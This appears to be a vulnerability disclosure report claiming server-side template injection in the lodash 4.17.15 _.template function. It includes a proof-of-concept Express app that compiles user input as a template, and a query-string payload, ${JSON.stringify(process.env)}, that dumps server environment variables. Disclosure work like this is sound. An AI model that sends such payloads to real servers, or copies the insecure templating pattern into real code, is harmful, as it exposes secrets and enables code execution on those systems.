How it was found

I would like to report Server-side Template Injection in lodash.js (_.template function) It allows the execution of code on the server

Module

module name: lodash version: 4.17.15 npm page: https://www.npmjs.com/package/lodash

Module Description

The Lodash library exported as Node.js modules.

Module Stats

26,664,631 weekly downloads

Vulnerability

Vulnerability Description

The _.template function of the lodash package does not properly validate user-supplied input.

An application making use of the lodash package may be exploited by an attacker that controls the value of a parameter processed by the _.template function. An attacker can inject code such as Javascript within parenthesis for example parameter=${JSON.stringify(process.env)} which will be executed by the server.

Steps To Reproduce:

Step 1: Create a test application that requires the lodash.js library. The application below accepts user-supplied input in the 'name' parameter that is handled by lodash _.template function

const express = require('express');
const _ = require('lodash');
const escapeHTML = require('escape-html');
const app = express();
app.get('/', (req, res) => {
  res.set('Content-Type', 'text/html');
  const name = req.query.name
  // Create a template from user input
  const compiled = _.template("Hello " + escapeHTML(name) + ".");
  res.status(200).send(compiled());
});

app.listen(8000, () => {
  console.log('POC app listening on port 8000!')
});

Step 2: Visit the vulnerable application at http://127.0.0.1:8000/?name=Test

Step 3: Visit the vulnerable application and enter a payload such as ${JSON.stringify(process.env)} into the name parameter e.g. http://127.0.0.1:8000/?name=Test${JSON.stringify(process.env)}

Supporting Material/References:

• OSX 10.15.5
• NODEJS v10.16.0
• NPM v 6.9.0

Wrap up

• I contacted the maintainer to let them know: [Y/N] N
• I opened an issue in the related repository: [Y/N] N

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Apologies if I haven't used the ideal terminology or if this is a duplicate.

Impact

Remote code execution